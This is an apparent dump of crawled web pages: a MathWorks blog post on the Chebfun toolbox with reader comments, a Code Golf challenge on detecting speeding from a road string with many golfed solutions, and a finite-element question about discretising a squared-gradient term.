proteins has been hampered by challenges in both reaction initiation and | 2021-08-04 22:08:21 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.5469215512275696, "perplexity": 3953.980754016257}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2021-31/segments/1627046155188.79/warc/CC-MAIN-20210804205700-20210804235700-00144.warc.gz"} |
http://blogs.mathworks.com/pick/2011/10/28/numerical-methods-on-piecewise-continuous-functions/ | # Numerical methods on piecewise-continuous functions4
Posted by Jiro Doke,
Jiro's pick this week is Chebfun v2 by the Chebfun Team.
### Thorough Documentation
I was initially drawn to this entry because of the comprehensive documentation that was included with it. You can directly view it from the File Exchange page:
Their user's guide is extremely detailed and helpful. I had very little prior knowledge of the concepts covered by this tool, but after reading through it, I've come to appreciate the usefulness and the power of the tool. They created the guide using MATLAB's publishing functionality, which is an extremely effective way of providing documentation and examples for the end-users, because of the ability to intermix code, figures, explanatory text, and equations. Find more information about publish from this page on our Academic website.
### Chebfun Function
Now, let's take a look at the tool.
Borrowing the words from their documentation, a chebfun is a function of one variable defined within a particular interval. It allows you to perform symbolic-like operations with the performance of numerics. The underlying implementation of chebfun is based on the mathematical fact that smooth functions can be represented very efficiently by expansions in Chebyshev polynomials, similar to how Fourier series work with smooth periodic functions. By decomposing a function into these polynomial interpolants, many mathematical operations can be carried out efficiently.
Let's define a chebfun for within the interval [0 2].
f = chebfun(@(x) sin(x)+cos(3.3*x)-0.5*x.^2, [0 2])
f =
chebfun column (1 smooth piece)
interval length values at Chebyshev points
( 0, 2) 21 1 1 1 ... -0.14
You can see that this function is represented by 21 points, i.e. a polynomial of degree 20. Let's plot it, along with the intermediate points (Chebyshev points)
plot(f, '.-')
This chebfun representation can be evaluated at arbitrary points:
f([0.2, 0.5, 0.9, 1.5, 1.85])
ans =
0.9687 0.2753 -0.6070 0.1079 0.2342
To calculate the integral from 0 to 2,
sum(f)
ans =
0.1772
The roots can be found by
r = roots(f)
hold on
plot(r, f(r), 'ro', 'MarkerFaceColor', 'r');
r =
0.5953
1.4429
1.9557
By now, you probably have noticed that chebfun is implemented using object-oriented programming, with a number of overloaded methods, such as plot, sum, and roots.
I can say for sure that I'm not doing justice to this entry with this short blog post. I've just scratched the surface with what could be done with this tool. I highly encourage you to take a look through the documentation and give it a try. On the download page, it says that they have Version 4 available for download off of their university website. I'm hoping that they will also update the version on the File Exchange.
Get the MATLAB code
Published with MATLAB® 7.13
bazli replied on : 1 of 4
a = magic(3);
sum(a)
i want to ask if you can help me how to process continous data (x,y,z). my project is monitoring survey, so i want to know how to calculate the magnatidue for (x,y,z) using matlab
Vassili replied on : 2 of 4
Hi Jiro!
Sorry if the following question is stupid.
Assume that instead of an analytical expression for a cheb-function (as in your example) I have only vectors X and Y, vector Y being the values of the wanted function f(x). For x-values different from X one can define function f via interpolated values. Question: does the new CHEBFUN give this possibility, e.g.
f=chebfun(@(x) Y,X)
?
This would essentially increase the scope of practical applications of CHEBFUN
Sincerely
Vassili
@bazil,
I’m not sure what you are asking. But it doesn’t sound very relevant to this particular post. Perhaps what you’re looking for is the abs function. You can also try asking the question on MATLAB Answers.
@Vassili,
You may get a more complete answer if you post your question on the File Exchange entry page. But my understanding is that Chebfun is meant for solving analytical problems, using numeric power. If the data is already numeric (data points), then it’s probably more efficient to use the builtin numeric functions.
Having said that, this is my attempt to make use of chebfun using spline:
x = 0:.5:10; y = sin(1.2*x) - 0.5*cos(3*x); f = chebfun(@(xx) spline(x,y,xx), [0, 10]) plot(f) % plot chebfun hold on; plot(x, y, 'ro'); % plot original points r = roots(f); % this is slow plot(r, zeros(size(r)), 'k*');
Vassili replied on : 4 of 4
Dear Jiro !!!
“my understanding is that Chebfun is meant for solving analytical problems, using numeric power.”
Exactly this was my impression, too. So thanks for finding my question not too stupid.
As to your suggestion: it is very close to an exact answer. Why only close? Because sufficiently high sampling frequency needs higher accuracy than SPLINE can produce, therefore the exact answer should be based on the choice of the degree of interpolating and therefore chebfun-defining set of cheb-polynomials.
Nice weekend to you and colleagues!!!
These postings are the author's and don't necessarily represent the opinions of MathWorks. | 2014-04-25 04:06:36 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.533308207988739, "perplexity": 1359.9557780661144}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2014-15/segments/1398223207985.17/warc/CC-MAIN-20140423032007-00421-ip-10-147-4-33.ec2.internal.warc.gz"} |
https://codegolf.stackexchange.com/questions/116050/am-i-over-the-speed-limit/116055 | # Am I over the speed limit?
Given an road and the time it took me to cross it, tell me if I was speeding.
## Units
Distance is in the arbitrary unit of d. Time is in the arbitrary unit of t.
10=====
The 10 means 10 d per t. That is the speed limit for the road. The road has 5 =s, so its d is 5. Therefore, if I cross that road in 0.5 t, I went 10 d per t, because 5/0.5 = 10. The speed limit of that road is 10, so I stayed within the speed limit.
But if I cross that road in 0.25 t, I went 20 d per t, because 5/0.25 = 20. The speed limit of that road is 10, so I went 10 over the speed limit.
## Examples and calculations
Note that input 1 is the time I took to travel the road, and input 2 is the road itself.
Input 1: 1.5
Input 2: 5=====10=====
The fastest I could have (legally) gone on the first road (the first 5 =s) is 5 d per t. Since 5 (distance) divided by 5 (speed limit) is 1, the fastest I could have gone on that road is 1 t.
On the next road, the speed limit is 10 and the distance is also 5, the fastest I could cross that is 0.5 (5/10). Totaling the minimum times results in 1.5, meaning I went at exactly the speed limit.
Note: I know, I might have been going really fast on one road and really slow on another and still cross in 1.5, but assume the best here.
A final example:
Input 1: 3.2
Input 2: 3.0==========20===
The first road is 10 long and has a speed limit of 3, so the minimum time is 3.33333... (10 / 3.)
The second road is 3 long and has a speed limit of 20, so the minimum time is 0.15 (3 / 20.)
Totaling the times results in 3.483333333... I crossed it in 3.2, so I had to be speeding somewhere.
## Notes:
• You must output one distinct value if I am undoubtedly speeding, and another different value if I might not be.
• Your program or function may require input or output to have a trailing newline, but please say so in your submission.
• Your first input will be my speed. It will be a positive float or integer or string.
• Your second input will be the road. It will always match the regex ^(([1-9]+[0-9]*|[0-9]+\.[0-9]+)=+)+\n?$. You may test out potential inputs here if you are interested. • You may take input in 2 parameters of a function or program, in 2 separate files, from STDIN twice, or from a space-separated string passed to STDIN, a function, a file or a command-line parameter. • If you would like to, you can change the order of the inputs. • Any questions? Ask below in comments and happy ing! • I think this question would benefit from a couple of input→output examples. – L3viathan Apr 10 '17 at 21:21 • Looks like no one is correctly handling the decimal points that could be present in the road speed limits. – Jonathan Allan Apr 10 '17 at 21:54 • Try looking at the speedometer? – Christopher Apr 11 '17 at 1:47 • @programmer5000 Then, feel free to use this regex instead ^(([1-9]+[0-9]*|(?!0\.0+\b)[0-9]+\.[0-9]+)=+)+\n?$. (It would have been cleaner with a lookbehind, but then it would need .Net engine) – Dada Apr 11 '17 at 6:59
# 05AB1E, 24 22 bytes
Returns 1 when undoubtedly speeding and 0 otherwise.
Saved 2 bytes thanks to carusocomputing.
'=¡õK¹S'=Q.¡O0K/O-§'-å
Try it online!
-§'-å shouldn't have to be more than a simple comparison, but for some reason neither › nor ‹ seem to work between the calculated value and the second input.
Explanation
Using 3.0==========20===, 3.2 as example
'=¡ # split first input on "="
õK # remove empty strings
# STACK: ['3.0', '20']
¹S # split first input into a list of chars
'=Q # compare each to "="
.¡O # split into chunks of consecutive equal elements and sum
# STACK: ['3.0', '20'], [0, 10, 0, 3]
0K # remove zeroes
# STACK: ['3.0', '20'], [10, 3]
/ # element-wise division
# STACK: [3.3333333333333335, 0.15]
O # sum
# STACK: 3.4833333333333334
- # subtract from second input
# STACK: -0.2833333333333332
§ # implicitly convert to string
'-å # check if negative
# OUTPUT: 1
• '=¡õK¹S'=QJ0¡õK€g/O-0.S for 23 bytes – ovs Apr 11 '17 at 13:54
• @ovs: So .S works, OK. That doesn't return 2 unique values though as it will return 0 when you've done exactly the speed limit. – Emigna Apr 11 '17 at 15:54
• @Emigna gahh... I keep posting the wrong one; the a > b operator is casting to integer before the comparison between a float and an int. It's very odd indeed... I did get it down to 22 bytes though: '=¡€Þ¹S'=Q.¡O0K/O-§'-å. – Magic Octopus Urn Apr 11 '17 at 17:49
• @carusocomputing: Nice! Chunkifying with summation was a good idea. – Emigna Apr 11 '17 at 20:04
• @carusocomputing: The final version you had before deleting could be shortened to ¨'=¡.¡2ôvyg>s/}O-§'-å at 23 with 2 return values. Maybe there is some improvement to be made there still? I Don't see what though. That last comparison really screws us up. – Emigna Apr 11 '17 at 20:10
# Python 2, 71 bytes
m,s=input()
for c in s.split('=')[:-1]:s=float(c or s);m-=1/s
print m<0
Try it online!
Python's dynamic type system can take quite some abuse.
Splitting the input string s.split('=') turns k equal signs into k-1 empty-string list elements (except at the end, where one must be cut off). For example,
"3.0===20====".split('=')[:-1] == ['3.0', '', '', '20', '', '', '']
The code iterates over these elements, updating the current speed s each time it sees a number. The update is done as s=float(c or s), where if c is a nonempty string, we get float(c), and otherwise c or s evaluates to s, where float(s) just keeps s. Note that c is a string and s is a number, but Python doesn't require doesn't require consistent input types, and float accepts either.
Note also that the variable s storing the speed is the same one as taking the input string. The string is evaluated when the loop begins, and changing it within the loop doesn't change what is iterated over. So, the same variable can be reused to save on an initialization. The first loop always has c as a number, so s=float(c or s) doesn't care about s's initial role as a string.
Each iteration subtracts the current speed from the allowance, which starts as the speed limit. At the end, the speed limit has been violated if this falls below 0.
• I must point out that this is a property of Python's dynamic typing (performing type checking at runtime rather than compile time), not weak typing. Python's types are actually pretty strong (it's not usually possible to convert values between types without an explicit instruction). – Muzer Apr 11 '17 at 9:17
• @Muzer My mistake, fixed it. – xnor Apr 11 '17 at 20:32
# Python 3, 79 bytes
import re;g=re.sub
lambda m,s:eval(g('=','-~',g('([^=]+)',r'0+1/\1*',s))+'0')>m
Try it online!
For example, the input 3.0==========20=== is converted to the string
0+1/3.0*-~-~-~-~-~-~-~-~-~-~0+1/20*-~-~-~0
and evaluated, and the result is compared to the input speed. Each -~ increments by 1. I'm new to regexes, so perhaps there's a better way, like making both substitutions at once. Thanks to Jonathan Allan for pointing out how to match on all but the = character.
• It still doesn't seem to be able to handle floats. – L3viathan Apr 10 '17 at 22:03
• @L3viathan Could you give an example where it goes wrong? – xnor Apr 10 '17 at 22:05
• For example when the road is "0.5=20===", the output will be None regardless of the time input. – L3viathan Apr 10 '17 at 22:06
• Ah, divide by zero... – Jonathan Allan Apr 10 '17 at 22:07
• I think ([\d|.]+) may fix it. – Jonathan Allan Apr 10 '17 at 22:10
# Javascript (ES6), 63 bytes
a=>b=>eval(b.replace(/([^=]+)(=+)/g,(_,c,d)=>'+'+d.length/c))>a
# Usage
Assign this function to a variable and call it using the currying syntax. The first argument is the time, the second is the road.
# Explanation
Matches all consecutive runs of characters that are not equal signs followed by a run of equal signs. Each match is replaced by the result of the inner function, which uses two arguments: the run of equal signs (in variable d) and the number (variable c). The function returns the length of the road devided by the number, prepended by a +.
The resulting string is then evaluated, and compared against the first input.
# Stack Snippet
let f=
a=>b=>eval(b.replace(/([^=]+)(=+)/g,(_,c,d)=>'+'+d.length/c))>a
<input id="time" placeholder="time" type="number">
<div id="output"></div>
# GNU C, 128 bytes
#import<stdlib.h>
f(float t,char*r){float l,s=0;for(;*r;){for(l=atof(r);*(++r)-61;);for(;*r++==61;)s+=1/l;--r;}return t<s-.001;}
Handles non-integer speed limits also. #import<stdlib.h> is needed for the compiler not to assume that atof() returns an int.
t<s-.001 is needed to make the exact speed limit test case to work, otherwise rounding errors cause it to think you were speeding. Of course, now if the time is 1.4999 instead of 1.5, it doesn't consider that speeding. I hope that's okay.
Try it online!
# Perl 5, 43 bytes
42 bytes of code + -p flag.
s%[^=]+(=+)%$t+=(length$1)/$&%ge;$_=$t<=<> Try it online! For each group of digit followed by some equal signs ([^=]+(=+)), we calculate how much time is needed to cross it (number of equals divided by the speed: (length$1)/$&) and sum those times inside $t. At the end, we just need to check that $t is less than the time you took to cross it ($_=$t < <>). The result will be 1 (true) or nothing (false). • Doesn't seem to handle decimal numbers. – L3viathan Apr 10 '17 at 21:57 • @L3viathan right, thanks for pointing it out. (There wasn't any test case with decimal numbers and I read the specs a bit too fast) – Dada Apr 10 '17 at 22:03 # Mathematica, 98 bytes Tr[#2~StringSplit~"="//.{z___,a_,b:Longest@""..,c__}:>{z,(Length@{b}+1)/ToExpression@a,c}]-" "<=#& Pure function taking two arguments, a number (which can be an integer, fraction, decimal, even π or a number in scientific notation) and a newline-terminated string, and returning True or False. Explanation by way of example, using the inputs 3.2 and "3==========20===\n": #2~StringSplit~"=" produces {"3","","","","","","","","","","20","","","\n"}. Notice that the number of consecutive ""s is one fewer than the number of consecutive =s in each run. //.{z___,a_,b:Longest@""..,c__}:>{z,(Length@{b}+1)/ToExpression@a,c} is a repeating replacement rule. First it sets z to the empty sequence, a to "3", b to "","","","","","","","","" (the longest run of ""s it could find), and c to "20","","","\n"; the command (Length@{b}+1)/ToExpression@a evaluates to (9+1)/3, and so the result of the replacement is the list {10/3, "20","","","\n"}. Next the replacement rule sets z to 10/3, a to "20", b to "","", and c to "\n". Now (Length@{b}+1)/ToExpression@a evaluates to (2+1)/20, and so the result of the replacement is {10/3, 3/20, "\n"}. The replacement rule can't find another match, so it halts. Finally, Tr[...]-"\n" (it saves a byte to use an actual newline between the quotes instead of "\n") adds the elements of the list, obtaining 10/3 + 3/20 + "\n", and then subtracts off the "\n", which Mathematica is perfectly happy to do. Finally, <=# compares the result to the first input (3.2 in this case), which yields False. • Does it work with floating point speeds? – CalculatorFeline Apr 10 '17 at 22:08 • Yes, anything that Mathematica recognizes as a number. The input could be "1+2====3.456====π=====\n" even. – Greg Martin Apr 10 '17 at 23:30 # Jelly, 27 bytes ṣ”=V€ḟ0 Œr”=e$ÐfṪ€ż⁸Ǥ÷/€S>
Try it online!
Note: assumes that the regex given in the question should be such that a speed limit cannot be 0.0, 0.00, etc. - just like it cannot be 0 (confirmed as an unintentional property).
### How?
ṣ”=V€ḟ0 - Link 1, speed limits: road e.g. "4.0===22=="
ṣ”= - split by '=' [['4','.','0'],[],[],['2','2'],[],[]]
V€ - evaluate €ach as Jelly code [4.0,0,0,22,0,0]
ḟ0 - filter discard zero [4.0,22]
Œr”=e$ÐfṪ€ż⁸Ǥ÷/€S> - Main link: road, time e.g. "4.0===22==", 0.84 Œr - run-length encode [['4',1],['.',1],['0',1],['=',3],['2',2],['=',2]] Ðf - filter keep:$ - last two links as a monad:
”= - "="
e - is an element of? [['=',3],['=',2]]
Ṫ€ - tail €ach [3,2]
ż - zip [[3,4.0],[2,22]]
÷/€ - reduce €ach by division [0.75, 0.09090909090909091]
S - sum 0.8409090909090909
> - greater than time? 1 (would be 0 if maybe not speeding)
• Yes, I explicitly stated about 0.0 since I filter out values that evaluate as 0 in the code to pull out the speed limits. – Jonathan Allan Apr 10 '17 at 23:22
# Python 3, 90 bytes
import re
lambda t,r:sum(x.count("=")/eval(x.strip("="))for x in re.findall("\d+\D+",r))>t
Outputs True if you're speeding, False if you might not be. Does not require (but will work with) trailing newline.
Despite it not looking like it would, it correctly handles floats in both input time and speed limits, because the regex is just used to seperate the road segments.
# MATL, 31 30 bytes
t61=TwFhhdfd1wY{1L&)o!oswcU!/s<
Inputs are: a string (speed limits and roads), then a number (used speed). Output is 1 if undoubtedly speeding, 0 if not.
Try it online!
### Explanation with example
Consider inputs '3.0==========20===' and 3.2.
1 % Push 1
% STACK: 1
y % Implicitly input string. Duplicate from below
% STACK: '3.0==========20===', 1, '3.0==========20==='
61= % Compare with 61 (ASCII for '=')
% STACK: '3.0==========20===', 1, [0 0 0 1 1 1 1 1 1 1 1 1 1 0 0 1 1 1]
TwFhh % Prepend true (1) and append false (0)
% STACK: '3.0==========20===', 1, [1 0 0 0 1 1 1 1 1 1 1 1 1 1 0 0 1 1 1 0]
d % Consecutive differences
% STACK: '3.0==========20===', 1, [-1 0 0 1 0 0 0 0 0 0 0 0 0 -1 0 1 0 0 -1]
f % Find: indices of nonzeros
% STACK: '3.0==========20===', 1, [1 4 14 16 19]
d % Consecutive differences. Gives length of substrings of numbers or roads
% STACK: '3.0==========20===', 1, [3 10 2 3]
Y{ % Split string according to those lenghts. Gives a cell array of strings
% STACK: {'3.0', '==========', '20', '==='}
1L&) % Split into odd- and even-indexed subarrays
% STACK: {'3.0', '20'}, {'==========', '==='}
o % Convert to 2D numeric array. Right-pads with zeros
% STACK: {'3.0', '20'}, [61 61 61 61 61 61 61 61 61 61; 61 61 61 0 0 0 0 0 0 0]
!gs % Number of nonzeros in each row
% STACK: {'3.0', '20'}, [10 3]
w % Swap
% STACK: [10 3], {'3.0', '20'}
c % Convert to 2D char array. Right-pads with spaces
% STACK: [10 3], ['3.0'; '20 ']
U % Convert each row to a number
% STACK: [10 3], [3.0; 20]
! % Transpose
% STACK: [10 3], [3.0 20]
/ % Divide, element-wise
% STACK: [3.3333 0.15]
s % Sum of array
% STACK: 3.4833
< % Implicitly input number. Less than? Implicitly display (true: 1; false: 0)
% STACK: true
# APL, 41 bytes
{⍺<+/{(≢⍵)÷⍎⍺}/¨Y⊂⍨2|⍳⍴Y←⍵⊂⍨X≠¯1⌽X←⍵='='}
This takes the road as a string as its right argument, and the time taken as its left argument, and returns 1 if you were speeding and 0 if not, like so:
3.2{⍺<+/{(≢⍵)÷⍎⍺}/¨Y⊂⍨2|⍳⍴Y←⍵⊂⍨X≠¯1⌽X←⍵='='}'3.0==========20==='
1
Explanation:
• X←⍵='=': store in X a bit vector of all positions in ⍵ that are part of the road.
• X≠¯1⌽X: mark each position of X that is not equal to its right neighbour (wrapping around), giving the positions where numbers and roads start
• Y←⍵⊂⍨: split ⍵ at these positions (giving an array of alternating number and road strings), and store it in Y.
• Y⊂⍨2|⍳⍴Y: split up Y in consecutive pairs.
• {(≢⍵)÷⍎⍺}/¨: for each pair, divide the length of the road part (≢⍵) by the result of evaluating the number part (⍎⍺). This gives the minimum time for each segment.
• +/: Sum the times for all segments to get the total minimum time.
• ⍺<: Check whether the given time is less than the minimum or not.
# TI-Basic, 168 165 bytes
Prompt Str0,T
Str0+"0→Str0
0→I
1→A
While inString(Str0,"=",A
I+1→I
I→dim(L1
I→dim(L2
0→L
inString(Str0,"=",A→B
expr(sub(Str0,A,B–A→L1(I
While 1=expr("9"+sub(Str0,B,1)+"9
L+1→L
B+1→B
If B>length(Str0
Return
End
B→A
L→L2(I
End
T≥sum(seq(L2(X)/L1(X),X,1,I
Input is the road as Str0 and the time as T. Make sure to precede the road with a quote, eg Str0=?"14========3===.
Output is 0 if speeding, 1 if possibly not speeding.
Prompt Str0,T # 6 bytes
Str0+"0→Str0 # 9 bytes
0→I # 4 bytes
1→A # 4 bytes
While inString(Str0,"=",A # 12 bytes
I+1→I # 6 bytes
I→dim(L1 # 6 bytes
I→dim(L2 # 6 bytes
0→L # 4 bytes
inString(Str0,"=",A→B # 13 bytes
expr(sub(Str0,A,B–A→L1(I # 16 bytes
While 1=expr("9"+sub(Str0,B,1)+"9 # 21 bytes
L+1→L # 6 bytes
B+1→B # 6 bytes
If B>length(Str0 # 8 bytes
Return # 2 bytes
End # 2 bytes
B→A # 4 bytes
L→L2(I # 7 bytes
End # 2 bytes
T≥sum(seq(L2(X)/L1(X),X,1,I # 21 bytes
# Bash, 151 bytes
Running as (for example) $bash golf.sh .5 10=====: shopt -s extglob r=$2
while [ -n "$r" ];do f=${r%%+(=)}
s=dc<<<"9k$s$[${#r}-${#f}] ${f##*=}/+p" r=${f%%+([0-9.])}
done
[[ dc<<<"$1$s-p" != -* ]]
## Explanation
shopt -s extglob
r=$2 Enable bash's extended pattern-matching operators and assign the road to a variable r. while [ -n "$r" ];do
f=${r%%+(=)} Loop until r is empty. Set f to r with all equal signs removed from the end, using the %% parameter expansion and the +() extended globbing operator. s=dc<<<"9k$s $[${#r}-${#f}]${f##*=}/+p"
Assign to s a running sum of the minimum times for each road segment. This can be re-written (perhaps slightly) more readably as:
s=$(dc <<< "9k$s $[${#r}-${#f}]${f##*=} / + p")
Basically what's going on here is we're using a here-string to get the dc command to do math for us, since bash can't do floating-point arithmetic by itself. 9k sets the precision so our division is floating-point, and p prints the result when we're done. It's a reverse-polish calculator, so what we're really calculating is ${f##*=} divided by $[${#r}-${#f}], plus our current sum (or, when we first run through and s hasn't been set yet, nothing, which gets us a warning message on stderr about dc's stack being empty, but it still prints the right number because we'd be adding to zero anyway).
As for the actual values we're dividing: ${f##*=} is f with the largest pattern matching *= removed from the front. Since f is our current road with all the equal signs removed from the end, this means ${f##*=} is the speed limit for this particular stretch of road. For example, if our road r were '10=====5===', then f would be '10=====5', and so ${f##*=} would be '5'. $[${#r}-${#f}] is the number of equal signs at the end of our stretch of road. ${#r} is the length of r; since f is just r with all the equal signs at the end removed, we can just subtract its length from that of r to get the length of this road section. r=${f%%+([0-9.])}
done
Remove this section of road's speed limit from the end of f, leaving all the other sections of road, and set r to that, continuing the loop to process the next bit of road.
[[ dc<<<"$1$s-p" != -* ]]
Test to see if the time we took to travel the road (provided as $1) is less than the minimum allowed by the speed limit. This minimum, s, can be a float, so we turn to dc again to do the comparison. dc does have a comparison operator, but actually using it ended up being 9 more bytes than this, so instead I subtract our travel time from the minimum and check to see if it's negative by checking if it starts with a dash. Perhaps inelegant, but all's fair in love and codegolf. Since this check is the last command in the script, its return value will be returned by the script as well: 0 if possibly speeding, 1 if definitely speeding: $ bash golf.sh .5 10===== 2>/dev/null && echo maybe || echo definitely
maybe
$bash golf.sh .4 10===== 2>/dev/null && echo maybe || echo definitely definitely # Python 3.6, 111 bytes My first code golf! import re def f(a,b): t=0 for c in re.split('(=+)',b)[:-1]: try:s=float(c) except:t+=len(c)/s return a<t Try it online! re.split('(=+)',b)[:-1] Splits the road by chunks of =. It then iterates over the result, using try:s=float(c) to set the current speed limit if the current item is a number or except:t+=len(c)/s to add the time to traverse this section of road to the cumulative total. Finally it returns the time taken to the fastest possible time. • Congratulations on your first code golf! Nicely done! – programmer5000 Apr 12 '17 at 14:14 # PHP5 207 202 bytes First effort at a code golf answer, please go easy on me. I'm sure one of you geniuses will be able to shorten this significantly, any golfing tips are welcome. function s($c,$d){foreach(array_filter(split("[{$d}/=]",$c)) as$e){$f[]=$e;};return $f;}function x($a,$b){$c=s($b,"^");$d=s($b,"");for($i=0;$i<sizeof($c);$i++){$z+=strlen($c[$i])/$d[$i];}return $a<$b;}
Invoke with
x("1.5","3.0==========20===")
Returns true if you have been under the speed limit, false otherwise
• Nice first submission! – programmer5000 Apr 12 '17 at 20:33
• Cut 5 chars by realising I didn't need to declare $z before accessing it in the loop – Darren H Apr 12 '17 at 20:41 # Dyalog APL, 27 bytes <∘(+/(⍎'='⎕r' ')÷⍨'=+'⎕s 1) '=+'⎕s 1 is a function that identifies stretches of '=' with a regex and returns a vector of their lengths (⎕s's right operand 0 would mean offsets; 1 - lengths; 2 - indices of regexes that matched) '='⎕r' ' replaces '='s with spaces ⍎'='⎕r' ' executes it - returns a vector of speeds ÷⍨ in the middle divides the two vectors (⍨ swaps the arguments, so it's distance divided by speed) +/ is sum everything so far is a 4-train - a function without an explicit argument <∘ composes "less than" in front of that function; so, the function will act only on the right argument and its result will be compared against the left argument # F# (165 bytes) let rec c t p l= match l with |[]->t<0.0 |x::xs-> match x with |""->c(t-p)p xs |_->c(t-p)(1.0/float x)xs let s t (r:string)=r.Split '='|>Seq.toList|>c t 0.0 I'm still new to F#, so if I did anything weird or stupid, let me know. # C# method (137 122 bytes) Requires using System.Linq adding 19 bytes, included in the 122: bool C(float t,string r,float p=0)=>r.Split('=').Aggregate(t,(f,s)=>f-(s==""?p:p=1/float.Parse(s)))<-p; Expanded version: bool Check(float time, string road, float pace=0) => road.Split('=') .Aggregate(time, (f, s) => f - ( s == "" ? pace : pace = 1 / float.Parse(s))) < -pace; The road string is split on the = character. Depending on whether a string is the resulting array is empty, the aggregate function sets the pace variable for the segment (denoting the time it takes to travel a single =) and subtracts it from the time supplied. This will do one too many substractions (for the final road segment), so instead of comparing to 0, we compare to -pace # R, 100 bytes function(S,R){s=strsplit(R,"=")[[1]] s[s==""]=0 S<sum((1+(a=rle(as.double(s)))$l[!a$v])/a$v[a$v>0])} Try it online! Returns TRUE for unambiguously speeding values, FALSE for possibly unspeedy ones. # PowerShell, 71 bytes param($t,$r)$t-lt($r-replace'(.+?)(=+)','+($2)/$1'-replace'=','+1'|iex) Try it online! Test script: $f = {
param($t,$r)$t-lt($r-replace'(.+?)(=+)','+($2)/$1'-replace'=','+1'|iex)
}
@(
,(1.5, "5=====10=====", $false) ,(3.2, "3.0==========20===",$true)
) | % {
$time,$road,$expected =$_
$result = &$f $time$road
"$($result-eq$expected):$result"
}
Output:
True: False
True: True
Explanation:
1. The script gets the elements of the road 5=====10=====, swaps elements, adds brackets and operators +(=====)/5+(=====)/10
2. Then the script replaces each = with +1: +(+1+1+1+1+1)/5+(+1+1+1+1+1)/10
3. Finally, the script evaluates the string as a Powershell expression and compare it with the first argument. | 2020-02-24 14:59:09 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.3382834196090698, "perplexity": 3755.780808817943}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2020-10/segments/1581875145960.92/warc/CC-MAIN-20200224132646-20200224162646-00412.warc.gz"} |
https://scicomp.stackexchange.com/questions/14622/implementation-of-nonlinear-term-in-fem/14632 | # Implementation of nonlinear term in FEM
Although there are similar questions, I am also struggling with the implementation of the following term in "my own code" by Finite Element Method, namely, $\nabla \phi \cdot \nabla \phi$. $\phi$ is a state variable such as scalar potential. I think the descritization of this term is much more difficult than that of advection term in N-S equation. If possible, please tell me how to descritize and implement the term by FEM. The equation to solve is as follows, $\frac{\partial \phi}{\partial t} = (\nabla\phi)^2 + \nabla^2 \phi.$
• Writing out your entire set of equations will definitely help. – Paul Sep 14 '14 at 20:38
1. If you are going to use a (semi) explicit time stepping scheme, all you need is a function that for a given $\phi_0$ assembles the vector $\langle (\nabla \phi_0)^2, v \rangle$, where $v$ are your test functions. In FEM packages like FEniCS this is straight forward.
2. If you going for an implicit scheme, you will probably apply a Newton or Picard iteration for the given iteration point $\phi_0$, you will need the forms or matrices associated with $\langle \nabla \phi_0 \nabla u, v \rangle$ where $u$ are the trial functions. This is a linear form that is easy to assemble with standard FEM methods.
3. For atmost generality you can tensorize your problem, express $(\nabla \phi)^2$ via $D_\nabla (\phi \otimes \phi)$ and assemble the associated linear form (linear in the Kronecker product). For an example considering the convection term $(u \cdot \nabla) u$ in the Navier-Stokes equations have a look at this python function.
